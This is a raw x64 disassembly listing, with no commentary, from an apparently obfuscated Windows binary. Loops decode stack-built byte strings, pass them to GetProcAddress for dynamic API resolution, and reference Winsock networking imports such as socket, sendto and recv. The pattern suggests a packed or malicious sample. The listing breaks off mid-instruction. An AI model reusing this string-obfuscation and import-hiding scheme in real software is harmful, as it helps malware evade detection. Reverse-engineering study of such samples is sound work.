sub dil, 0x5f
jmp 0x14006375d
lea rdx, [rax + 2]
cmp rbx, rdx
jne 0x140063558
add r10b, 0x45
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 0x1d
dec rsi
inc rsi
jmp 0x140062e22
lea r8, [rax + 3]
cmp rbx, r8
jne 0x14006357e
sub r10b, 0x5f
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x67
jmp 0x1400637e9
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400632d9
add r10b, 0x4f
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x1400637ec
cmp rbx, r11
jne 0x1400635db
sub r10b, 0x74
movzx ecx, r9b
and cl, r10b
mov edx, socket
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
movzx ecx, byte [rbp + rsi + 0x20]
add rcx, rax
add rsi, rcx
inc rsi
jmp 0x140062e22
cmp rbx, r8
jne 0x1400635fd
lea r8d, [r10 - 0x18]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x58
jmp 0x1400636bd
cmp rbx, rdx
jne 0x14006361f
lea r8d, [r10 - 0xe]
movzx ecx, r9b
and cl, r8b
mov edx, 0x31
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x1400637c7
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140063253
sub r10b, 0x60
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x60
dec rsi
inc rsi
jmp 0x140062e22
lea r8d, [r10 + 0x58]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x68
add dil, r8b
add dil, r9b
jmp 0x1400637ca
lea edx, [r10 + 6]
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [rdx - 0x2a]
jmp 0x1400636c0
add r10b, 0x13
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x7b
add dil, r10b
jmp 0x140063823
lea r8d, [r10 + 0x65]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x3d
add dil, r8b
sub r10b, 0x23
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
sub r10b, 0xb
add r10b, r9b
movzx ecx, r10b
mov byte [rbp + rsi + 0x20], cl
inc rax
add rcx, rax
sub rsi, rcx
jmp 0x140063823
add r10b, 9
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x3f
jmp 0x1400637e9
lea r8d, [r10 + 0x5b]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x7d
jmp 0x1400637c7
lea r8d, [r10 + 0x51]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x37
jmp 0x14006375d
movzx r10d, sil
lea r8d, [r10 - 0xb]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x4d
add dil, r8b
sub r10b, 0x7f
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
add r10b, 0x79
add r10b, r9b
mov byte [rbp + rsi + 0x20], r10b
inc rax
dec rsi
inc rsi
jmp 0x140062e22
lea edx, [rsi - 0x67]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x2f
dec rsi
inc rsi
jmp 0x140062e22
movzx r10d, sil
lea r8d, [r10 - 0x15]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x6d
add dil, r8b
add r10b, 0x2f
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
sub r10b, 0x49
add r10b, r9b
add r10b, dil
mov byte [rbp + rsi + 0x20], r10b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rsi, rdx
inc rsi
jmp 0x140062e22
movabs rcx, 0xeb32b61966a71033
add rcx, rsi
and r8b, cl
add r8b, r8b
sub cl, r8b
lea edi, [r9 + rcx]
sub dil, 0x65
lea r8d, [rsi - 0x4c]
movzx ecx, r9b
and cl, r8b
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r9b
add dl, r8b
mov byte [rbp + rsi + 0x20], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add rsi, rcx
movzx ecx, byte [rbp + rsi + 0x20]
add rcx, rax
add rsi, rcx
inc rsi
jmp 0x140062e22
lea rcx, [rsi + r13]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea edi, [r9 + rcx]
add dil, 0x5d
movzx ecx, byte [rbp + rsi + 0x20]
add rcx, rax
add rsi, rcx
inc rsi
jmp 0x140062e22
sub r10b, 0x4d
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 0x1b
jmp 0x140062e20
add r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x140062e10
lea rdx, [rbp + 0x1596094]
jmp 0x1400638dc
lea rdx, [rbp + 0x16dfd6b]
jmp 0x1400638dc
lea rdx, [rbp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x200], 0x43
mov byte [rbp + 0x201], 0x5e
mov byte [rbp + 0x202], 0xac
mov byte [rbp + 0x203], 0x77
mov byte [rbp + 0x204], 0x59
mov byte [rbp + 0x205], 0xa6
mov byte [rbp + 0x206], 0x5b
mov byte [rbp + 0x207], 0xad
mov byte [rbp + 0x208], 0x59
mov byte [rbp + 0x209], 0x45
mov byte [rbp + 0x20a], 0x59
mov byte [rbp + 0x20b], 0x48
mov byte [rbp + 0x20c], 0x4c
mov byte [rbp + 0x20d], 0x41
mov byte [rbp + 0x20e], 0xb5
mov byte [rbp + 0x20f], 0xbe
mov byte [rbp + 0x210], 0x65
mov byte [rbp + 0x211], 0xbd
mov byte [rbp + 0x212], 0xbc
mov byte [rbp + 0x213], 0xb9
mov byte [rbp + 0x214], 0x41
mov byte [rbp + 0x215], 0x4f
mov byte [rbp + 0x216], 0xbb
mov byte [rbp + 0x217], 0xbb
mov byte [rbp + 0x218], 0x49
mov byte [rbp + 0x219], 0xc4
mov byte [rbp + 0x21a], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21b], xmm0
mov word [rbp + 0x22b], ax
mov byte [rbp + 0x22d], al
movabs rsi, 0x96751a23dd216927
movabs r15, 0xc35f4e6b97643b75
movzx edi, byte [rbp + 0x400]
nop dword [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x14006451e
movzx r10d, byte [rbp + r11 + 0x200]
mov edx, r10d
movzx r9d, r11b
nop dword [rax]
cmp rbx, r11
ja 0x140064515
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140063a3c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x11
jmp 0x140063a69
je 0x1400644a8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064474
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064433
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006440e
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14006450c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140063a9d
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x140063ae0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400643c7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400643a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006437e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140064361
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140064304
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140064039
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006401e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140063ff8
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140063fd2
lea rcx, [r8 + 0x400]
cmp rbx, rcx
je 0x140063fb3
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140063f93
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140063f73
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140063f58
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140063f3b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140063f0c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140063af0
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x1400644ef
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400644d2
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x140063cd5
lea rcx, [r8 + 3]
cmp rbx, rcx
jb 0x140063cba
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140063c9f
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140063ec3
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140063e7e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140063e42
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140063e1a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140063af0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140063deb
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140063dce
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140063db3
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140063d96
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140063d76
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140063d57
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140063d31
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140063d0b
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140063cf0
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140063af0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 2]
jmp 0x140063af0
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x140063ae0
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x140063a70
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
jmp 0x140063a10
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400643e1
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
inc r8
dec r11
inc r11
jmp 0x1400639f3
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400639f3
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064451
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006448c
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x14006448f
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x1400642d5
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14006431c
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
add r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3d
mov byte [rbp + r11 + 0x200], dil
inc r11
jmp 0x1400639f3
lea ecx, [r9 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
cmp r8, 0x40
jb 0x140063e32
lea ecx, [r9 - 0x76]
movzx eax, cl
and al, r10b
mov edx, 0x1d
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400643e1
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
cmp rbx, 4
jae 0x1400642a9
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14006419b
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x140063e58
lea ecx, [r9 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5d
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x1400642c4
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006410a
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
jmp 0x140063e94
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x14006431c
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x1400642d5
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006448f
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006448c
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064451
add r9b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400639f3
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x1400639f3
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x1400643e1
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14006405d
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x140063ed9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064098
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400640bc
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x1400642d5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400640e2
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x14006448f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063ed9
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140064451
jne 0x140064127
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x1400643e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006414d
add r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x27
jmp 0x14006448f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064171
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
jmp 0x1400642d5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140063e94
sub r9b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1d
jmp 0x14006431c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400641d6
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400641fe
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400642d5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140064227
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006448f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006424b
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140064451
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006427d
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400639f3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140063e58
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400643e1
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
jmp 0x14006444e
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0xa]
add r9b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x1b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x200], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006431c
sub r9b, 0x5d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x75
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, cl
mov byte [rbp + r11 + 0x200], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
jmp 0x14006448f
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x35
dec r11
inc r11
jmp 0x1400639f3
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
inc r8
dec r11
inc r11
jmp 0x1400639f3
lea edx, [r9 - 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x79
add dil, dl
sub r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x29
add r10b, r9b
mov byte [rbp + r11 + 0x200], r10b
inc r8
dec r11
inc r11
jmp 0x1400639f3
lea ecx, [r11 - 0x69]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x21
inc r8
dec r11
inc r11
jmp 0x1400639f3
movzx r9d, r11b
lea edx, [r9 - 5]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x23
add dil, dl
dec r9b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 7
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x200], r10b
jmp 0x14006448c
sub r9b, 0x53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x45
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400639f3
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x33
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400639f3
add r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x2b
jmp 0x1400639f0
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x4d
jmp 0x1400639e0
lea rdx, [rbp + 0x172a834]
jmp 0x140064525
lea rdx, [rbp + 0x154115b]
jmp 0x140064525
lea rdx, [rbp + 0x200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov byte [rbp + 0x230], 0xc2
mov byte [rbp + 0x231], 0x1c
mov byte [rbp + 0x232], reloc.WS2_32.dll_socket
mov byte [rbp + 0x233], 0xc0
mov byte [rbp + 0x234], reloc.WS2_32.dll_select
mov byte [rbp + 0x235], 0x1d
mov byte [rbp + 0x236], 0xe3
mov byte [rbp + 0x237], 0x1d
mov byte [rbp + 0x238], 0xea
mov byte [rbp + 0x239], 0xc7
mov byte [rbp + 0x23a], 0x1a
mov byte [rbp + 0x23b], 0xd4
mov byte [rbp + 0x23c], 0x21
mov byte [rbp + 0x23d], 0xda
mov byte [rbp + 0x23e], 0xff
mov byte [rbp + 0x23f], 0x25
mov byte [rbp + 0x240], 0x22
mov byte [rbp + 0x241], 0x24
mov byte [rbp + 0x242], 0xf1
mov byte [rbp + 0x243], 0xd7
mov byte [rbp + 0x244], 0xd5
mov byte [rbp + 0x245], 0xd2
mov byte [rbp + 0x246], 0x2a
mov byte [rbp + 0x247], 0x2b
mov byte [rbp + 0x248], 0xf9
mov byte [rbp + 0x249], 0x2b
mov byte [rbp + 0x24a], 0xd7
mov byte [rbp + 0x24b], 0xc4
mov byte [rbp + 0x24c], 0xa2
xor eax, eax
mov dword [rbp + 0x24d], eax
movabs r15, 0x59552c0282057f95
movabs r13, 0xbff840786107ebf
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x14006519e
movzx r10d, byte [rbp + r11 + 0x230]
mov esi, r10d
nop word [rax + rax]
cmp rbx, r11
ja 0x140065195
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006467c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x13
jmp 0x1400646a9
je 0x140065126
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140065090
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006505e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006503d
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14006518c
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400646da
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
jmp 0x140064710
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064ffa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064fe0
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064fc5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140064fa8
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140064c73
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140064c58
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140064c32
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140064c0f
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064bf0
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140064bd0
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140064bb0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140064b95
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140064b78
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140064b49
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140064720
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006516f
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140065152
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006490d
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400648f2
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400648d7
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140064afb
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140064ab6
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140064a7c
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140064a54
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140064720
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140064a25
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140064a08
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400649e9
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400649c9
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400649a9
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006498e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006496b
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140064945
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006492a
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140064720
lea rbx, [r8 + 2]
lea r8, [rbx + 0x41]
jmp 0x140064720
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
jmp 0x140064710
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x1400646b0
sub r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
jmp 0x140064650
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140065010
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
inc r8
dec r11
inc r11
jmp 0x140064634
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
dec r11
inc r11
jmp 0x140064634
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x140064f68
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065074
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065077
lea edx, [r9 - 0x34]
